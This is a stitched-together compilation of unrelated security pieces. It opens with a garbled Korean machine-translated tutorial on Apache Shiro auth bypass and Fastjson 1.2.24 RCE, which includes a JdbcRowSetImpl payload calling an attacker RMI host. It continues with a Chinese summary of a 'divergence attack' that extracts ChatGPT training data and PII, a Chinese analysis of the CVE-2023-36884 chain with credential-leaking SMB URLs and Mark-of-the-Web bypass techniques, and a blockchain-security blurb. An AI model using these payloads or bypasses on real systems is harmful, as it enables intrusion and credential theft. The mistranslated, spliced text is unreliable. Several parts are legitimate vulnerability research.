Shiro Framework는 Anon, AuthC 및 기타 인터셉터와 같은 인터셉터 기능을 통해 사용자 액세스 권한을 제어합니다. Anon은 익명의 인터셉터이며 로그인에 액세스 할 필요가 없습니다. AuthC는 로그인 인터셉터이며 액세스에 로그인해야합니다.

는 버전에 영향을 미칩니다

Apache Shiro 1.5.2

취약성 재발

image.png

URL 변경 /admin로 변경 로그인 로그인 페이지로 자동 이동합니다.

image.png

허가 우회에 대한 악의적 인 요청을 구성

코드 레벨이 추가되었으므로; 우회 된 것으로 인식 될 것입니다. 하나/단락을 추가하십시오.

URL은 /xxx/.

/xxx/./admin/

image.png

시로 721

취약성 재발 : CVE-2019-12422

환경 : Kali Linux

Docker 빌드 및 시작

git 클론 https://github.com/3ndz/shiro-721.git

CD Shiro-721/Docker

Docker Build -t Shiro -721.

Docker Run -P 8080:8080 -D Shiro -721

입장:

image.png

image.png

image.png

올바른 계정 비밀번호로 로그인하면 아래 그림과 같이 두 개의 요청 패킷, 즉 게시 및 getPost 요청 패킷 (올바른 계정 비밀번호로 로그인하여 얻은 패키지 image.png

Get Request 패키지는 다음과 같습니다 (이것은 올바른 암호로 로그인하여 쿠키 값을 배경에 주로 제출하여 얻은 패키지입니다) image.png Repemerme=deleteme 필드를보고 Shiro Deserialization 취약성 image.png가 있다고 말할 수 있습니다.

Burp Plugin은 Shiro의 지문을보기 위해 HAE 및 LOGGER ++를 추가합니다.

image.png

image.png

도구 활용 :

image.png

FastJson

@fastjson:https://github.com/vulhub/vulhub/tree/master/fastjson

취약성 원칙

이 취약점의 원칙은 Fastjson의 사막화 메커니즘에 있습니다. Fastjson이 JSON 데이터를 파싱하면 JSON 데이터를 Java 객체로 변환하려고합니다. 이 프로세스에서 Fastjson은 JSON 데이터의 유형 정보를 기반으로 데이터를 구문 분석하는 방법을 결정합니다. 공격자는이 기능을 활용하여 JSON의 특정 데이터 유형과 구조를 구성 할 수 있으므로 FastJSON은 구문 분석 중에 악의적으로 구성된 Java 클래스 또는 방법을 호출하여 원격 코드 실행을 실현합니다.

일반적인 악용 방법은 FastJson의 자동 형 기능을 사용하는 것입니다. Autotype은 SASTJSON의 기능으로 직렬화 및 사제화 할 때 클래스의 완전히 자격을 갖춘 클래스 이름을 사용할 수 있습니다. 공격자는 악의적 인 JSON 데이터를 구성하고 악의적 클래스를 자동 타입의 값으로 사용할 수 있습니다. FastJson이 소화되면 지정된 클래스를 인스턴스화하여 클래스에서 코드를 실행하려고 시도합니다 (Exploit 프로세스에서는 JDBCrowsetlmpl이 일반적으로 체인을 이용하도록 악용).

@Type 필드

@type는 객체 유형 정보를 처리하는 데 사용되는 Fastjson의 특수 필드 중 하나입니다. JSON 데이터에서 @Type 필드는 사막화 중에 인스턴스화 해야하는 클래스의 유형을 지정하는 데 사용될 수 있습니다. 이 필드는 일반적으로 특히 Fastjson의 Autotyp 함수가 활성화 될 때, 사막화 중 객체의 유형 정보를 지정하는 데 사용됩니다.

@type 필드를 통해 Fastjson은 인스턴스화 할 클래스를 식별하고 해당 필드에 제공된 클래스 경로를 기반으로 객체를 만들 수 있습니다. 이것은 객체의 정확한 유형을 지정할 수 있으므로 복잡한 객체 구조를 직렬화하고 실조화 할 때 매우 유용합니다.

그러나 @type 필드의 존재와 사용으로 인해 악의적 인 사용자 가이 필드를 사용하여 악의적 인 JSON 데이터를 구성하고 @Type 필드에 악의적 인 클래스 경로를 지정할 수 있습니다. 이러한 방식으로, 사막화 과정에서 FastJson은 @Type 필드에서 지정된 클래스 경로를 기반으로 해당 클래스를 인스턴스화하여 악의적 인 코드가 실행되거나 보안 취약성이 악용 될 가능성이 있습니다.

jndi

JNDI, RMI 및 LDAP는 다양한 목적으로 Java에서 사용되는 기술입니다.

JNDI (Java Naming and Directory Interface) : JNDI는 Java의 API 세트로 다양한 이름 지정 및 디렉토리 서비스에 액세스하는 데 사용됩니다. JNDI는 Java 애플리케이션이 DNS, LDAP, RMI 레지스트리 등과 같은 다양한 이름 지정 및 디렉토리 서비스를 연결하고 사용할 수있는 통합 액세스 방법을 제공합니다. RMI (원격 메소드 호출) : RMI는 Java에서 원격 메소드 호출을 구현하는 데 사용되는 메커니즘입니다. 다른 Java 가상 머신 간의 객체 간의 통신 및 메소드 호출을 허용합니다. 분산 시스템에서 RMI를 사용하면 원격 시스템이 서로의 방법을 호출하여 원격 객체 간의 상호 작용을 달성 할 수 있습니다. LDAP (Lightweight Directory Access Protocol) : LDAP는 분산 디렉토리 서비스에 액세스하는 데 사용되는 프로토콜입니다. JNDI는 Java에서 일반적으로 사용자 정보, 조직 구조 등과 같은 구조화 된 데이터를 저장하는 데 사용됩니다. JNDI는 LDAP 액세스를 지원하며 JNDI가 사용자 인증, 데이터 검색 등과 같은 LDAP 디렉토리 서비스를 연결하고 운영 할 수 있도록합니다. JNDI (JVA API)를 포함한 JNDI의 관계는 LDAP에 접근하는 방법을 제공한다는 것입니다. JNDI를 사용하면 LDAP 서버를 연결하고 작동하고 LDAP 디렉토리에 데이터를 검색하고 저장할 수 있습니다. 또한 JNDI를 사용하여 RMI 레지스트리에서 원격 객체를 찾아 원격 메소드 호출을 구현할 수도 있습니다.

요약하면, JNDI는 Java의 API로서 다양한 서비스에 액세스 할 수있는 통합 된 방법을 제공하여 Java 응용 프로그램이 LDAP 및 RMI 레지스트리와 같은 다양한 명칭 및 디렉토리 서비스를 연결하고 운영 할 수 있도록합니다.

jdbcrowsetimpl은 체인을 사용합니다

Fastjson에서는 사막화 공격에 jdbcrowsetimpl을 사용합니다. JDBCROWSETIMPL의 활용 체인의 초점은 자동 커밋 세트 메소드를 호출하는 방법입니다. Fastjson Dessorialization의 특징은 클래스의 설정 방법을 자동으로 호출하므로 사막화의 문제가 있다는 것입니다. @type 유형이 공식화되는 한 해당 클래스를 자동으로 호출하여 구문 분석합니다.

이렇게하면 활용 체인을 구성 할 수 있습니다. @Type 유형이 JDBCrowsetImpl이면 JDBCrowsetImpl 클래스가 인스턴스화됩니다. 따라서 DataSourceame이 조회 방법으로 전달되는 한 원격 공격 서버에 액세스 할 수있는 다음 Autocommit 속성을 사용하여 조회를 트리거 할 수 있습니다. 전체 프로세스는 다음과 같습니다.

SetAutoCommit 함수를 사용하여 Connect 함수 트리거 기능을 트리거하여 DataSourceName - Autocommit 속성 설정 - 자동 커미트 속성 설정 - 자동 커미트 속성 설정 - 아래 조회 함수를 트리거하여 아래의 조회 함수는 방금 설정 한 DataSourCeame 매개 변수를 사용하여 RMI를 통해 원격 서버에 액세스 할 수 있습니다.

익스플로잇은 다음과 같습니다.

{ "@type": "com.sun.rowset.jdbcrowsetimpl", "dataSourceName": "RMI: //192.168.17.39:999/Exploit", "Autocommit":true}

1. DataSourceame은 Autocommit 앞에 배치해야합니다. 사막화가 설정되면 속성이 순서대로 설정되고 Etdatasourcename을 먼저 설정 한 다음 setAutocommit을 설정하기 때문입니다. 2. RMI의 URL은 검색 할 원격 공장 클래스의 이름을 검색 할 수 있습니다.

FastJSON DETECTION 버전

1. DNSLOG를 사용하여 가져 가십시오. 대부분의 DNSLOG가 블랙리스트에 기록되기 때문에 자신의 DNSLOG를 사용하는 것이 가장 좋습니다.

2. 오류 메시지가 있으며, 버전 번호 페이로드는 결함이있는 코드 블록을 입력하고 예외를 던지기 전에 "{"and ","읽지 않았습니다.

3. 스크립트를 사용하여 버전 번호를 신속하게 감지하십시오. 즉, 각 POC는 한 번 호출됩니다.

CVE-2017-18349 FASTJSON 1.2.24-RCE

0x00 소개

Fastjson은 Alibaba의 오픈 소스 JSON 구문 분석 라이브러리입니다. JSON 형식으로 문자열을 구문 분석하거나 JSON 현으로의 Java Bean을 직렬화하거나 JSON 현에서 Javabeans로 변형됩니다. 즉, FastJson의 주요 기능은 Java Beans를 JSON 문자열로 직렬화하여 문자열을 얻은 후 데이터베이스 등을 통해 지속될 수 있습니다.

0x01 취약성 개요

JSON을 구문 분석하는 과정에서 FastJSON은 자동 타입을 사용하여 특정 클래스를 인스턴스화하고 클래스의 세트/GET 메소드를 호출하여 속성에 액세스합니다. 코드에서 관련 방법을 찾으면 악의적 인 악용 체인이 구성 될 수 있습니다.

0x02는 버전에 영향을 미칩니다

영향 범위 : FastJson=1.2.24

0x03 환경 구성

CD /VULHUB/FASTJSON/1.2.24-RCE

Docker -Compose Up -D

도커 PS

image.png

Docker는 포트 8090을 열고 대상 기계 IP에 액세스합니다

http://192.168.200.16633608090/

image.png

JDK 버전 스위칭

취약성 익스플로잇은 JDK8을 필요로하고 Kali와 함께 제공되는 JDK는 JDK11을 여기서 사용할 수 없으므로 Kali의 JDK1123을 먼저 제거하십시오.

dpkg --- 목록 | grep -i jdk #view 설치 JDK 패키지

APT-GET PURGE OPENJDK-* #UNINSTALL OPENJDK 관련 패키지

dpkg --- 목록 | Grep -I JDK #모든 JDK 패키지가 제거되었음을 확인하십시오.

JDK1.8을 다운로드하십시오

https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz

image.png

압축 패키지를 Kali 및 압축 압력에 넣고 환경 변수를 구성하십시오.

MV JDK-8U212-LINUX-X64.TAR.GZ /OPT /JAVA #PLAPE IN /OPT /JA

0.png

ChatGPT等大語言模型(LLM)使用來自圖書、網站及其他來源的海量文本數據進行訓練,通常情況下,訓練它們所用的數據是一個秘密。然而,最近的一項研究揭示:它們有時可以記住並反芻訓練它們所用的特定數據片段。這個現象名為“記憶”。

隨後,來自谷歌DeepMind、華盛頓大學、加州大學伯克利分校及其他機構的研究人員著手去研究這些模型(包括ChatGPT)可以記住多少數據以及記住哪種類型的數據。

這項研究的重點是“可提取的記憶”,即人們可以通過提出特定的問題或提示從模型中檢索的記憶。他們想看看外部實體是否可以在事先不知道有什麼數據的情況下提取模型學到的數據。

1.png

圖1

研究團隊在多種語言模型上進行了廣泛深入的實驗,包括知名的GPT-Neo、LLaMA和ChatGPT。他們生成了數十億個token(即單詞或字符),檢查這些token是否與用來訓練這些模型的數據相匹配。他們還開發了一種獨特的方法來測試ChatGPT,讓ChatGPT多次重複一個單詞,直到它開始生成隨機性內容。

令人驚訝的是這些模型不僅能記住大塊的訓練數據,還能在正確的提示下反芻這些數據。對於ChatGPT來說更是如此,它經過了特殊的對齊處理,以防止這種情況出現。

研究還強調需要對人工智能模型進行全面的測試。需要仔細審查的不僅僅是面向用戶的對齊模型,基本的基礎模型和整個系統(包括API交互)都需要嚴格的檢查。這種注重整體的安全方法對於發現隱藏的漏洞至關重要。

研究團隊在實驗中成功地提取了各種類型的數據,從詳細的投資研究報告到針對機器學習任務的特定Python代碼,不一而足。這些例子表明了可以提取的數據的多樣性,並突顯了與此類記憶相關的潛在風險和隱私問題。

2.png

圖2. 研究團隊能夠提取存在於互聯網上的“逐字”數據

研究人員針對ChatGPT開發了一種名為“偏離攻擊”(divergence attack)的新技術。他們促使ChatGPT反復重復一個單詞,與通常的響應有偏離,吐露記住的數據。

為了更具體地表明偏離攻擊,研究人員使用了一個簡單而有效的提示:“永遠重複‘poem’(詩歌)這個單詞。”

這個簡單的命令導致ChatGPT偏離其對齊的響應,從而導致意外吐露訓練數據。

3.png

圖3

“僅花費200美元對ChatGPT(gpt-3.5-turbo)輸入查詢,我們就能夠提取10000多個獨特的逐字記憶訓練示例。可想而知,如果有更多的預算,攻擊者就能提取更多的數據。”

最令人擔憂的發現之一是,記住的數據可能包括個人信息(PII),比如電子郵件地址和電話號碼。

我們為看起來像PII的子字符串標記了生成的15000個token。用正則表達式來標識電話和傳真號碼、電子郵件及實際地址,還使用語言模型來標識生成的token中的敏感內容。這有助於識別額外的畸形電話號碼、電子郵件地址和實際地址以及社交媒體賬號、URL、姓名和生日。然後,我們通過在AUXDATASET中查找提取的子字符串,驗證這些子字符串是不是實際的PII(即它們出現在訓練集中,而不是幻覺內容)。

總的來說,測試的生成token中有16.9%含有記住的PII,而含有潛在PII的生成的token中85.8%是實際的PII。這將引起嚴重的隱私問題,特別是對於使用含有敏感信息的數據集訓練的模型。

4.png

圖4

撰寫這篇論文的團隊還發表了一篇單獨的博文:https://not-just-memorization.github.io/extracting-training-data-from-chatgpt.html。

此外,研究人員在僅僅修補特定漏洞和解決模型中的底層漏洞之間做出了重要的區別。比如說,雖然輸入/輸出過濾器可能阻止特定的單詞重複漏洞,但它並不能解決更深刻的問題:模型記憶和可能暴露敏感訓練數據這一固有的傾向。這種區別突顯了保護AI模型的複雜性,而不是流於表面的修復。

研究人員表示,一方面我們需要做更多的工作,比如對訓練數據進行重複數據刪除和理解模型容量對記憶的影響。另一方面,還需要可靠的方法來測試記憶,特別是在高度關注隱私的應用設計的模型中。

技術細節核心方法是從各種模型中生成大量文本,並對照模型各自的訓練數據集檢查這些輸出,以識別記憶的內容。

這項研究主要側重於“可提取的記憶”。這個概念指的是攻擊者在不事先了解訓練集的具體內容下,能夠從模型中有效地恢復訓練數據。該研究旨在通過分析模型輸出與訓練數據的直接匹配來量化這種記憶。

研究團隊在各種模型上進行了實驗,包括GPT-Neo和Pythia等開源模型、LLaMA和Falcon等半開源模型以及ChatGPT等閉源模型。研究人員從這些模型中生成了數十億個token,並使用後綴數組有效地匹配訓練數據集。後綴數組是一種數據結構,允許在較大的文本語料庫中快速搜索子字符串。

對於ChatGPT,由於其會話性質和對齊訓練——這通常阻止直接訪問語言建模功能,研究人員採用了一種“偏離攻擊”,促使ChatGPT無數次重複一個單詞,直到偏離標準的響應模式。這種偏離經常導致ChatGPT吐露從訓練數據中記憶的序列。

5.png

圖5

針對ChatGPT“偏離攻擊”的例子:模型被促使重複說“book”,導致最初的準確重複,然後轉向隨機內容。文本輸出標以紅色陰影,表明k-gram與訓練數據集匹配的長度。較短的匹配(比如10個token的短語“I mean, it was dark, but,”)通常是巧合。然而,較長的序列(比如來自《现代童话》 系列的摘錄)不太可能是巧合,這表明來自訓練數據的直接記憶。

該研究通過檢查與訓練數據匹配的一小部分模型輸出來量化記憶率,他們還分析了獨特的記憶序列的數量,發現記憶率明顯高於之前的研究。

研究人員採用古德圖靈(Good-Turing)頻率估計來估計總記憶量。這種統計方法根據觀察到的頻率預測遇到新記憶序列的可能性,提供了一種從有限樣本中推斷總記憶量的穩健方法。

研究探討了模型大小與記憶傾向之間的關係。得出,更龐大、功能更強的模型通常更容易受到數據提取攻擊,這表明模型容量和記憶程度之間存在著關聯。研究人員建議,應該通過傳統軟件系統的視角看待語言模型,這需要我們改變對待語言模型安全分析的方式。

這個觀點勢必需要一種更嚴謹、更系統化的方法來確保機器學習系統的安全性和隱私性,這是人工智能安全領域需要邁出的一大步。

漏洞鏈攻擊是從以下誘餌開始:

微信截图_20231115000613.png

分析時,研究人員觀察到一個有趣的Microsoft Word文檔(.docx文件)於2023年7月3日首次提交給VirusTotal,名為Overview_of_UWCs_UkraineInNATO_campaign.docx。

該活動被社區歸因於Storm-0978(也被稱為RomCom組織,因為他們使用了RomCom後門)。

1.png

惡意Word文檔誘餌

此文檔託管在以下URL:

hxxps://www.ukrainianworldcongress[.]info/sites/default/files/document/forms/2023/Overview_of_UWCs_UkraineInNATO_campaign.docx上面的鏈接表明該文檔很可能是通過電子郵件傳播的,電子郵件文本包含指向.docx文件的鏈接。文件的創建日期和域名ukrainianworldcongress的註冊日期都是2023年6月26日。這個時間點表明,這是一個基於電子郵件的活動,其中包含.docx文件的鏈接。

當該文件最初提交給VirusTotal時,62個殺毒軟件中有27個將其識別為惡意文件。

CVE-2023-36584利用的技術分析微軟Office文檔一直是攻擊者傳播惡意軟件的常用攻擊手段。為了應對這一威脅,微軟實施了mow安全,限制Office文檔中的各種功能來自不受信任的位置。

Windows將這些文件識別為高風險文件。帶有mow標記的文件會生成一個SmartScreen提示,表明它有潛在的危險。當Word文檔未標記為mow時,就會被攻擊者利用,導致禁用Protected View。

為了理解CVE-2023-36884是如何被特定的誘餌利用的,我們應該首先了解Microsoft Word對Open XML文件格式的實現過程,在本例中是針對MS-DOCX (.docx)文件。

MS-DOCX文件是一個壓縮的ZIP歸檔文件,其中包含用於顯示Word文檔的多個規範文件。其中之一是位於word/document.xml的XML文件。這是MS-DOCX文件的核心XML組件,它包含文檔的文本和格式。

在Microsoft Word中查看MS-DOCX文件時,文檔的大部分內容都是通過Word /document.xml導入的。

在.docx誘餌中,word/document.xml使用名為altChunk的導入外部內容元素導入內容,如下圖所示。

2.png

這個altChunk元素可以導入使用另一種格式的內容,比如富文本格式(RTF),來自.docx文件的word/document.xml有一個altChunk元素,它使用標識符AltChunkId5指示與外部內容的關係。這個標識符在word/_rels/document.xml.rels的關係文件中被定義。

3.png

上圖中顯示的document.xml.rels代碼片段將導入的目標標識為位於word/afchunk.rtf的文件。

RTF文件afchunk.rtf包含兩個惡意的OLE (Object Linking and Embedding)對象。第一個OLE對象使用帶有objautlink RTF控製字的OLE自動鏈接類型,在objautlink控製字之後,一個objupdate控製字強制對像在顯示之前進行更新,如下圖所示。

4.png

對像類被定義為Word.Document.8,其數據在其標頭中包含LinkedObject結構,後跟表示十六進製字符的ASCII文本。

我們使用Didier Steven的rtfdump.py工具進一步檢查afchunk.rtf。下圖顯示了前面所示的objautlink片段的十六進制(hex)輸出,這個輸出更清楚地顯示了LinkedObject結構。

5.png

第一個惡意OLE對象的rtfdump.py輸出

此十六進制轉儲顯示\\104.234.239[.]26\share1\MSHTML_C7\file001.url,一個使用服務器消息塊(SMB)協議的惡意url。

使用rtfdump.py查看afchunk.rtf,我們發現另一個使用xmlfile類的惡意OLE對象,其標頭包含EmbeddedObject結構。嵌入的對像是一個複合文檔,其中包含一個URLMoniker,它從URL加載XML文件hxxp://74.50.94[.]156/MSHTML_C7/start.xml,如下圖中的藍色標註。

6.png

第二個惡意OLE對象的rtfdump.py輸出

漏洞利用鏈的第一階段對該漏洞利用鏈的初步研究得出了一個流程圖,該流程圖由@zcracga創建,並於2023年7月12日由@r00tbsd共享。該流程圖有助於可視化通過漏洞利用鏈工作的不同階段。

7.jpeg

漏洞利用鏈流程圖

我們最初關注的域是afchunk.rtf中惡意OLE對象的兩個URL。如前所述,這些OLE對像從以下URL請求內容:

\\104.234.239[.]26\share1\MSHTML_C7\file001.url

hxxp://74.50.94[.]156/MSHTML_C7/start.xml當Windows客戶端連接到SMB服務器時,該客戶端會發送Windows NT LAN Manager(NTLM)憑據進行身份驗證。因此,當受害者主機訪問位於\\104.234.239[.]26\share1\MSHTML_C7\file001.URL的URL時,它會將受害者的NTLM憑據及其主機名和用戶名洩漏給攻擊者控制的SMB服務器。收集到的信息稍後將用於攻擊鏈。

下圖顯示了嵌入file001.url中的HTML代碼。

8.png

file001.url片段

通過檢查file001.url,UName變量包含受害者的用戶名。這是攻擊者控制的SMB服務器從受害者洩露的NTLM憑據中收集的用戶名。如果上圖顯示的變量d不為空,則漏洞利用鏈將用戶名與攻擊者傳遞的值連接起來,該值用於創建名為2222.CHM的CHM文件的路徑,該文件包含在名為file001.zip的文件中。

在攻擊鏈的這一階段,2222.chm不存在,或者它可能是攻擊者使用的其他攻擊的一部分。 file001.url的進一步行為將在後面解釋,因為它與2222.chm密切相關。

afchunk.rtf中的第二個惡意OLE對象來自hxxp://74.50.94[.]156/MSHTML_C7/start.xml。此start.xml文件包含一個iframe,用於從同一服務器和目錄路徑加載另一個名為RFile.asp的文件。

10.png

start.xml中引用RFile.asp的iframe片段

RFile.asp負責在服務器上加載另一個文件,該文件的攻擊特定路徑定義為:

file[:]//104.234.239[.]26/share1/MSHTML_C7/1/__file001.htm?d=__該路徑由受害者的

10.png

RFile.asp中的代碼段

濫用Windows搜索處理程序file001.htm的核心行為是執行JavaScript,如下圖中的代碼片段所示。

11.jpeg

file001.htm片段

file001.htm中的JavaScript使用iframes來加載幾個文件。它首先加載一個保存的搜索文件,該文件的文件名由受害者的IP地址和以字符串file001.search-ms結尾的五位標識符組成。我們將把這個文件稱為其文件名file001.search-ms的最後一部分。

接下來是三個HTTP請求,在它們的url中使用字符串.zip_k*。除了執行計時或無操作(no-op)操作外,此行為沒有明顯的價值。

最後,MSHTML重新加載file001。 Search-ms然後加載redir_obj.htm。

這些請求的順序很明顯,因為預期的目的並不明顯。根據相關網絡流量示例中的時間戳,我們推測通過服務器端操作實現了這種事件順序的繞過,其中對.zip_k*文件的請求被用作延遲機制。下圖顯示了在Wireshark中過濾流量的數據包捕獲(pcap),突出顯示了一個HTTP GET請求與其HTTP響應之間的兩秒延遲。

12.png

使用zip_k.asp延遲響應請求

在檢查文件redir_obj.htm時,我們發現瞭如下圖所示的代碼片段。這段代碼從本地路徑加載一個文件,該文件使用在初始SMB連接期間捕獲的洩漏的主機名和用戶名分別作為CompName和UName變量,其用於打開文件file001.zip中名為1111.htm的HTML文件。

13.png

來自redir_obj.htm的片段

重新創建Windows搜索處理程序文件我們使用Windows文件資源管理器創建一個空白保存的搜索文件,文件擴展名為.search-ms,以控制包含2222的ZIP文件的位置。提取CHM並說明這個漏洞利用鍊是如何工作的。我們在File Explorer中啟動搜索並保存結果,這創建了一個.search-ms文件。這個保存的搜索文件是一個空白模板,可以重現這個漏洞利用鏈中使用的搜索處理程序文件行為。

Windows系統文件Windows. storage .search .dll處理.search-ms文件。為了成功地將ZIP文件解壓縮到redir_obj.htm文件中指定的目錄中(由圖11中所示的JavaScript iframe加載),需要進行一些更改。

首先,include元素必須包含一個本地路徑作為它的網絡路徑,並使用FILE_ATTRIBUTE_NORMAL,實現為變量attributes='128'。

14.png

基本.search ms文件,已更改為觸發ZIP提取

接下來,autoListFlags屬性必須打開第二個最低有效位,如下圖所示。這將產生一個完整的搜索,其中還包括任何ZIP存檔的內容。

15.png

在Windows.Storage.Search.dll中進行.search-ms處理的示例

此時處理.search ms文件將在目標計算機上按以下路徑創建一個目錄:

C:\Users\[USERNAME]\AppData\Local\Temp\[Temp1_zip_filename]

ZIP文件的內容隨後被提取到該目錄中。

search-ms根據早期SMB洩露的主機信息處理ZIP文件的放置和內容提取。

結果證實了從ZIP文件中提取的兩個文件:1111.htm和2222.chm。

在利用Office中以前的RCE漏洞CVE-2021-40444時,也觀察到了類似的行為。在該攻擊中,攻擊者會利用Microsoft Compressed Archive(CAB)路徑遍歷提取漏洞來實現類似的目標:將HTML文件提取到計算機上的可預測路徑。

在討論1111.htm和2222.chm文件之前,我們首先應該了解Windows安全區域。

Windows安全區域和其他障礙Windows安全區域也被稱為Internet Explorer安全區域或URL安全區域,Windows安全區域是微軟用來確定來自不同來源文件的權限機制。通常,從internet檢索的文件被標識為來自“internet Zone”,並標記為受限權限的mow。

此數據存儲在名為Zone.Identifier的文件的備用數據流(ADS)中,用於指示文件的安全區域。來自“Internet Zone”的文件的ZoneId值為3(安全區域3)。

為了使攻擊鏈的其餘部分成功,1111.htm和2222.chm文件的ZoneId值都必須在其Zone.Identifier ADS(安全區域1)中標識為1。然而,這是一個障礙,因為從遠程路徑下載並由.search-ms提取的ZIP內容的ZoneId值為3,並且該內容會自動標記為MotW。

為了成功利用,還必須克服另外兩個障礙:

障礙1:當Windows Search使用.Search ms完成時,它會刪除[Temp1_zip_filename]目錄。這將生成一個競爭條件,以加載臨時目錄中的文件。

障礙2:默認情況下,Windows不會搜索CHM文件的內容。 2222.chm文件是此漏洞利用鏈的一部分,但它不會使用Windows搜索的默認設置從ZIP存檔中提取。

使用CVE-2023-36584繞過MotW在使用CVE-2023-36884對這個漏洞鏈進行分析期間,研究人員發現了一個漏洞利用途徑,微軟將其命名為CVE-2023-36584。

Windows Search在搜索期間遍歷ZIP存檔中的所有文件。 Windows Search檢查每個文件的文件擴展名,以確定其內容是否也需要搜索。如果是,Windows Search將該文件寫入臨時目錄,並將mow添加到其中。

這個實現生成了一個固有的競爭條件。在將解壓縮文件寫入磁盤和用mow標記它之間有很短的時間窗口。如果我們在這個窗口中延遲Windows搜索,我們可以解決競爭條件並最終繞過mow。

先前利用CVE-2022-41049的技術通過向ZIP存檔中的文件添加只讀屬性來繞過motw,這避免了對區域的修改。這避免了對Zone.Identifier ADS的修改,並阻止了提取的文件接收MotW。這項技術啟發了我們,並使我們發現繞過MotW。

技術1:服務器端ZIP交換服務器端操作使我們能夠解決這些問題,我們發現了一個從檢查時間到使用時間(TOCTOU)的漏洞,當從遠程服務器下載ZIP歸檔文件時,可以利用該漏洞。

Windows使用系統文件zipfldr.dll來提取ZIP存檔的內容。這個Windows DLL文件讀取ZIP文件的標頭並將數據緩存在內存中,同時ZIP存檔的內容被提取並保存到磁盤。 Zipfldr.dll公開了一個API,該API可用於通過在ZIP存檔中指定文件索引來提取文件。

讀取文件標頭後,在使用zipfldr.dll對其進行解壓縮之前,我們可以將遠程服務器上的ZIP文件替換為包含不同名稱文件的ZIP文件,從而導致MotW無法寫入。

這種技術之所以有效,是因為urlmon.dll使用文件路徑來寫入最初從緩存在內存中的ZIP標頭讀取的MotW,以便繞過將MotW寫入文件。

該技術解決了前面提到的關於利用CVE-2023-36884的兩個障礙。成功解壓縮了.chm文件,否則將無法解壓縮,並且這些文件不會立即刪除。

下圖顯示了一個Process Monitor(procmon)視圖,說明創建名為2222.txt的替代文件的嘗試失敗。此條件允許以前保存的2222.chm避免MotW。

16.jpeg

使用TOCTOU漏洞繞過mow

我們無法確認這就是攻擊者在原始漏洞利用鏈中使用的確切技術。但是,VirusTotal對初始.docx誘惑的沙箱分析的行為日誌顯示,創建了一個名為1111.txt的文件,表明可能有一個鏡像1111.htm的替代文件名。

技術2:服務器端延遲除了第一種技術外,我們還發現了另外兩種可以顯著延遲mow編寫的技術。此場景防止寫入MotW屬性,並允許從安全區域1中的另一個線程執行文件。

從ZIP存檔中提取文件後,在將MotW添加到Zone.Identifier ADS之前,我們可以從攻擊者控制的SMB服務器引入時間延遲。這是可能的,因為SMB2協議的關閉操作包括關閉請求和結束基於SMB的文件傳輸的關閉響應。

當客戶端接收到來自傳輸文件的所有數據時,它將SMB關閉請求發送回服務器,並等待SMB關閉響應。文件已被傳輸,但傳輸操作尚未完成,直到客戶端收到關閉響應。這是一個同步操作,可以延遲相當長的一段時間。

下圖中的procmon列表顯示了在111.222.11[.]20的SMB服務器在下一次操作之前傳輸了一個名為served.zip的文件後的30秒延遲。這表示關閉請求和關閉響應之間有30秒的延遲。

在這個30秒的窗口中,1111.htm文件是一個沒有MotW的安全區域1文件。在30秒後最終發送了關閉響應後,該過程繼續,並將MotW寫入1111.htm。

17.png

mow繞過

技術3:服務器端延遲在從ZIP歸檔文件傳輸大文件時,Windows從遠程共享中讀取文件的一部分,將數據附加到磁盤上的本地文件中,然後從遠程共享中讀取其他部分,直到文件完全寫入磁盤。如果我們在文件末尾附加隨機數據,就可以在Windows將mow添加到文件之前延遲SMB服務器對文件的寫入。該文件在寫入過程中是可用的,因為它是用讀寫dwShareMode打開的。

我們通過在流程中引入10秒延遲來測試這個預設,如下圖所示。

18.png

使用延遲閱讀響應的mow

微軟安全更新地址CVE-2023-36884開發此漏洞利用鏈的攻擊者知道SMB文件傳輸期間臨時保存的本地文件的路徑是可預測的。但在微軟2023年8月的安全更新之後,臨時保存的本地文件名中添加了一個通用唯一標識符(UUID),可以使路徑隨機。

19.png

微軟2023年8月安全更新後

區塊鏈可以增強您解決方案的安全性嗎?憑藉去中心化、智能合約和代幣化等功能,區塊鏈可以提供強大的方法來保護您的數據並自動化網絡安全工作。但區塊鏈在網絡安全中到底扮演著什麼角色,它真的能為所有企業提供強有力的保護嗎?

在本文中,我們仔細研究了區塊鍊網絡安全的好處和挑戰,並分析了區塊鏈對不同解決方案的網絡安全可能產生的影響。

使用區塊鏈實現網絡安全:好處和注意事項區塊鏈對於醫療保健、公共部門、物流、金融等領域的組織有著無窮無盡的應用。除了獨特的功能之外,區塊鏈還由於其去中心化和密碼學等固有品質提供了更高級別的安全性。讓我們看看這種保護軟件的技術的主要優點。

image.png

安全的數據存儲和處理——區塊鏈記錄是不可變的,記錄在區塊鏈上的任何更改都是透明的且無法修改。因此,存儲在區塊鏈上的數據比傳統的數字或紙質記錄得到更好的保護。

安全的數據傳輸——區塊鏈可以實現涉及數據和財務的快速、安全的交易。智能合約是區塊鏈技術不可或缺的一部分,它通過自動執行協議來提高安全性,減少人為錯誤和潛在漏洞的風險。

無單點故障——無需許可的區塊鏈系統是去中心化的,因此比傳統系統更具彈性。為了影響整個區塊鏈的運行或安全,惡意行為者必須危害51% 或更多的網絡節點。這意味著即使在遭受DDoS攻擊的情況下,由於賬本的多個副本,系統也能正常運行。然而,私有區塊鏈無法提供這種優勢。

數據透明度和可追溯性——區塊鏈通過數字簽名和時間戳交易來提高網絡安全性,並允許網絡用戶輕鬆追踪交易歷史並在任何歷史時刻查看賬戶。此功能還允許公司擁有有關其資產或產品分銷的有效信息。

用戶機密性——由於使用公鑰加密技術來驗證用戶身份,區塊鍊網絡參與者的機密性很高。然而,一些基於區塊鏈的初創公司更進一步改進了這項技術。例如,Guardtime開發了無密鑰簽名基礎設施(KSI),允許用戶在不洩露密鑰的情況下驗證簽名有效性。

使用區塊鏈進行網絡安全工作之前要考慮什麼雖然區塊鏈作為網絡安全措施具有巨大的潛力,但該技術也面臨著一些挑戰。讓我們仔細看看區塊鏈的主要缺點,在決定使用該技術增強解決方案的安全性之前需要考慮這些缺點。

image.png

可擴展性挑戰——區塊鍊網絡對區塊容量和每秒交易數量有不同的限制。從網絡安全的角度來看,您的區塊鏈系統必須處理所有與安全相關的交易和數據,以確保安全的數據存儲而不損害產品的性能。我們建議檢查您想要用作解決方案基礎的區塊鏈平台的可擴展性,並提前考慮您的預期負載。

對私鑰的依賴——區塊鏈依賴於私鑰,私鑰是由錢包自動生成的一長串隨機數。私鑰用於與區塊鏈交互並確保安全。如果用戶丟失私鑰,關鍵的加密數據可能會永久無法訪問,從而使密鑰管理成為關鍵的安全問題。

